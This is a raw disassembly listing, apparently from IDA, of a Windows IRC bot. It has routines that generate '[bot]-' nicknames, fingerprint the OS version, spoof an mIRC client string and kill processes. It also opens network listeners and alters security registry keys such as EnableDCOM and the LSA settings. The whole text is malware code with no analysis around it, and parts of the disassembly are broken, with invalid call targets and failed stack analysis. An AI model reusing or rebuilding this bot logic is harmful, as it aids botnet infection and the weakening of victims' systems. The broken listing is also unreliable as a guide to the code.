		lea	edi, [ebp+var_98]
		push	offset unk_432F08
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41539A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h


loc_41539A:				; CODE XREF: sub_41533B+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41518A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4153C2
		push	offset unk_432ED0
		jmp	short loc_4153C7
; ---------------------------------------------------------------------------


loc_4153C2:				; CODE XREF: sub_41533B+7Ej
		push	offset unk_432E98


loc_4153C7:				; CODE XREF: sub_41533B+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4153FA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h


loc_4153FA:				; CODE XREF: sub_41533B+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26302E2h
		pop	edi
		pop	esi
sub_41533B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415419	proc near		; CODE XREF: sub_40EE72+4B08p
					; sub_416E97+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2740795h
		mov	esi, eax
		test	esi, esi
		jz	short loc_41544B
		push	0
		push	esi
		nop
		call	near ptr 27F0BA6h
		test	eax, eax
		jnz	short loc_41544B
		push	esi
		xor	edi, edi
		call	near ptr 2651922h
		nop


loc_41544B:				; CODE XREF: sub_415419+1Aj
					; sub_415419+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415450	proc near		; CODE XREF: sub_4030D1+Ap
					; ___:0040369Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41730C
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4246A0
		call	sub_417DC4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415450	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_4407FC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_43AD80
		test	eax, eax
		jnz	short loc_415504
		push	dword ptr [esi]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 26302E2h
		nop


loc_415504:				; CODE XREF: ___:004154EAj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_43ACF4
		test	eax, eax
		jz	short loc_41557D
		call	dword_43AD2C
		push	eax
		push	offset dword_432FFC
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	edi
		call	near ptr 26302E2h
		nop


loc_41557D:				; CODE XREF: ___:00415558j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, edi
		jnz	short loc_4155A7
		push	dword ptr [ebp-18h]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4172B0
		jmp	short loc_4155B5
; ---------------------------------------------------------------------------


loc_4155A7:				; CODE XREF: ___:0041558Dj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4179C0


loc_4155B5:				; CODE XREF: ___:004155A5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_436EDC
		push	dword ptr [esi]
		call	dword_43ADE8
		cmp	dword_4CD77C, edi
		jnz	short loc_415617
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4156DF
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415617
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 26302E2h


loc_415617:				; CODE XREF: ___:004155CCj
					; ___:004155EDj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_432FB0
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_4165C6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41565E
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_432F74
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26302E2h


loc_41565E:				; CODE XREF: ___:00415639j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_432F3C
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26302E2h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415685	proc near		; CODE XREF: ___:0041551Ap
					; ___:00415527p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 1
		jnz	short loc_4156D5
		mov	esi, [ebp+arg_4]


loc_4156A3:				; CODE XREF: sub_415685+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4156CA
		test	al, al
		jz	short loc_4156D9
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 1
		jz	short loc_4156A3
		jmp	short loc_4156D5
; ---------------------------------------------------------------------------


loc_4156CA:				; CODE XREF: sub_415685+27j
		push	offset dword_433038
		call	sub_40BFE1
		pop	ecx


loc_4156D5:				; CODE XREF: sub_415685+19j
					; sub_415685+43j
		xor	eax, eax
		jmp	short loc_4156DC
; ---------------------------------------------------------------------------


loc_4156D9:				; CODE XREF: sub_415685+2Bj
		push	1
		pop	eax


loc_4156DC:				; CODE XREF: sub_415685+52j
		pop	esi
		leave
		retn
sub_415685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156DF	proc near		; CODE XREF: ___:004155E3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41570A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_433070
		call	sub_40BFE1
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41570A:				; CODE XREF: sub_4156DF+11j
		push	1
		pop	eax
		retn
sub_4156DF	endp

; ---------------------------------------------------------------------------
word_41570E	dw 8B55h		; DATA XREF: sub_40EE72+5623o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	43AD10h, 0C63BF633h, 68501D74h
		dd 433234h, 0FF688CE8h,	0B475FFFFh, 191BE8h, 0CC48300h
		dd 7BE89057h, 570221ABh, 41598C68h, 3EE89000h, 85023DB5h
		dd 902975C0h, 25B35FE8h, 0E4685002h, 0E8004331h, 0FFFF6859h
		dd 15FF5959h, 43ACF8h, 0E8B475FFh, 18E0h, 43E85759h, 900221ABh
		dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h
		dd 75FF0002h, 9815FFB0h, 6A0043ADh, 26A5706h, 0E2458966h
		dd 0FFE47589h, 43AE1815h, 83D88B00h, 840FFFFBh,	13Bh, 6AB4458Bh
		dd 34C06910h, 89000002h, 4407FC98h, 0E0458D00h,	15FF5350h
		dd 43ADC4h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43ADC0h
		dd 850FC085h, 103h, 43319868h, 0F045C700h, 0Ch,	89F47589h
		dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h
		dd 0FF5350CCh, 43AE2C15h, 83F88B00h, 840FFFFFh,	0CAh, 8D0875FFh
		dd 6A500845h, 0FFFF6808h, 0FF570000h, 43AD7815h, 0FFF88300h
		dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0AE2415FFh
		dd 8D500043h, 0FFFBEC85h, 314468FFh, 0E8500043h, 1A20h
		dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh
		dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh
		dd 888924C4h, 4407F4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 41548068h, 0F0458D00h, 2FE85056h, 900228B3h,	69B84D8Bh
		dd 234C9h, 89C63B00h, 44080481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 0E890326Ah, 221B690h, 0E890EDEBh, 225B1D4h
		dd 30F86850h, 0CEE80043h, 59FFFF66h, 8B03EB59h,	15FF087Dh
		dd 43AD2Ch, 0EC858D50h,	68FFFFFBh, 4330B4h, 197EE850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh
		dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh,	0AE3015FFh
		dd 0FF530043h, 43AE3015h, 0F815FF00h, 0FF0043ACh, 0F5E8B475h
		dd 59000016h, 57E89056h, 5B0221A9h, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_415996	proc near		; CODE XREF: sub_415D01+49p
					; DATA XREF: ___:off_433280o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26308B3h
		push	eax
		call	sub_417302
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_4159EF


loc_4159C9:				; CODE XREF: sub_415996+57j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_4159C9


loc_4159EF:				; CODE XREF: sub_415996+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159F4	proc near		; CODE XREF: sub_40EE72+3E7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26308B3h
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42F5C8
		test	esi, esi
		jle	short loc_415A37


loc_415A21:				; CODE XREF: sub_4159F4+41j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415A21


loc_415A37:				; CODE XREF: sub_4159F4+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4159F4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26308B3h
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4332DC
		push	eax
		push	esi
		nop
		call	near ptr 27E0000h
		movsx	eax, byte_4332DC
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_415A7D:				; CODE XREF: ___:00415A88j
		cmp	eax, ecx
		jnz	short loc_415A84
		mov	[ebp-4], edx


loc_415A84:				; CODE XREF: ___:00415A7Fj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_415A7D
		push	61h
		pop	ecx


loc_415A8D:				; CODE XREF: ___:00415A98j
		cmp	eax, ecx
		jnz	short loc_415A94
		mov	[ebp-4], edx


loc_415A94:				; CODE XREF: ___:00415A8Fj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_415A8D
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42F5C8, esi
		jle	short loc_415AD9


loc_415AB3:				; CODE XREF: ___:00415AD7j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415AB3


loc_415AD9:				; CODE XREF: ___:00415AB1j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 26308B3h
		nop
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 2800000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4332E0
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415B4E


loc_415B28:				; CODE XREF: ___:00415B4Cj
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415B28


loc_415B4E:				; CODE XREF: ___:00415B26j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_436EDC
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 27B1523h
		nop
		nop
		call	near ptr 26308B3h
		push	eax
		call	sub_417302
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415BD8
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BB8
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_415BA8
		mov	esi, offset a95	; "95"


loc_415BA8:				; CODE XREF: ___:00415BA1j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415C14
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BB8:				; CODE XREF: ___:00415B98j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415BC8
		mov	esi, offset a98	; "98"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BC8:				; CODE XREF: ___:00415BBFj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_415C0F
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BD8:				; CODE XREF: ___:00415B8Fj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_415C0F
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BF1
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BF1:				; CODE XREF: ___:00415BE8j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415C01
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415C01:				; CODE XREF: ___:00415BF8j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_4332EC
		jz	short loc_415C14


loc_415C0F:				; CODE XREF: ___:00415BCFj
					; ___:00415BDFj
		mov	esi, offset dword_42DDDC


loc_415C14:				; CODE XREF: ___:00415BAFj
					; ___:00415BB6j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4332E4
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415C58


loc_415C32:				; CODE XREF: ___:00415C56j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415C32


loc_415C58:				; CODE XREF: ___:00415C30j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C5E	proc near		; CODE XREF: sub_415D01+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26308B3h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_415CAD
		call	dword_43ADA4
		test	eax, eax
		mov	eax, offset dword_4332F8
		jnz	short loc_415C96
		mov	eax, offset byte_436EDC


loc_415C96:				; CODE XREF: sub_415C5E+31j
		push	eax
		push	esi
		push	offset dword_4332F0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_415CCD
; ---------------------------------------------------------------------------


loc_415CAD:				; CODE XREF: sub_415C5E+22j
		call	dword_43ADA4
		test	eax, eax
		mov	eax, offset dword_4332F8
		jnz	short loc_415CC1
		mov	eax, offset byte_436EDC


loc_415CC1:				; CODE XREF: sub_415C5E+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_415CCD:				; CODE XREF: sub_415C5E+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415CFC
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418DE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 18h


loc_415CFC:				; CODE XREF: sub_415C5E+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_415C5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D01	proc near		; CODE XREF: sub_40EB92+7Fp
					; sub_40ECFA+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_43327C


loc_415D0D:				; CODE XREF: sub_415D01+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_415D28
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4176D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415D32
; ---------------------------------------------------------------------------


loc_415D28:				; CODE XREF: sub_415D01+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_415D32:				; CODE XREF: sub_415D01+25j
		test	eax, eax
		jnz	short loc_415D44
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_4332E0
		jb	short loc_415D0D
		jmp	short loc_415D52
; ---------------------------------------------------------------------------


loc_415D44:				; CODE XREF: sub_415D01+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_433280[eax*4]
		pop	ecx


loc_415D52:				; CODE XREF: sub_415D01+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415D65
		push	[ebp+arg_0]
		call	sub_415C5E
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415D65:				; CODE XREF: sub_415D01+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_415D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D6A	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43AD98
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415E28
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4407FC[ecx], esi
		jz	short loc_415E28
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43AE24
		push	eax
		mov	edi, offset dword_4CD784
		push	offset unk_4332FC
		push	edi
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40D679
		push	edi
		call	sub_40BF6D
		add	esp, 28h


loc_415E28:				; CODE XREF: sub_415D6A+5Dj
					; sub_415D6A+7Ej
		push	esi
		call	dword_43AE30
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415D6A	endp

; ---------------------------------------------------------------------------
byte_415E37	db 55h			; DATA XREF: sub_40EE72+35E0o
		dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh
		dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h
		dd 0D475FFFFh, 0FFE075FFh, 43AE2415h, 858D5000h, 0FFFFFED0h
		dd 43333468h, 2DE85000h, 8D000014h, 0FFFED085h,	1FF68FFh
		dd 8B500000h, 0C069DC45h, 234h,	4405F005h, 6DE85000h, 8300002Dh
		dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h,	5700415Dh
		dd 4BE89057h, 3B0228ADh, 0FC4589C7h, 7D390B74h,	6A0675F4h
		dd 0EBD6FF32h, 0FC75FFF5h, 23BA49E8h, 0B3FF9002h, 88h
		dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h
		dd 83000014h, 75FF0CC4h, 0CC15FF08h, 400043ACh,	8458950h
		dd 0AD9415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h
		dd 1470h, 0E90CC483h, 0FFFFFF3Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F28	proc near		; DATA XREF: sub_40EE72+5F4Fo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415F6F
		call	sub_415F88
		jmp	short loc_415F74
; ---------------------------------------------------------------------------


loc_415F6F:				; CODE XREF: sub_415F28+3Ej
		call	sub_4162AC


loc_415F74:				; CODE XREF: sub_415F28+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 26302E2h
sub_415F28	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F88	proc near		; CODE XREF: sub_415F28+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43AE68, edi
		jnz	loc_4160BA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_416013
		mov	ax, word_4336E4
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_415FF5
		push	offset unk_4336A4
		jmp	short loc_415FFA
; ---------------------------------------------------------------------------


loc_415FF5:				; CODE XREF: sub_415F88+64j
		push	offset dword_433678


loc_415FFA:				; CODE XREF: sub_415F88+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_416026
; ---------------------------------------------------------------------------


loc_416013:				; CODE XREF: sub_415F88+36j
		lea	eax, [ebp+var_214]
		push	offset unk_433638
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_416026:				; CODE XREF: sub_415F88+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_416045
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416045:				; CODE XREF: sub_415F88+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_4160B3
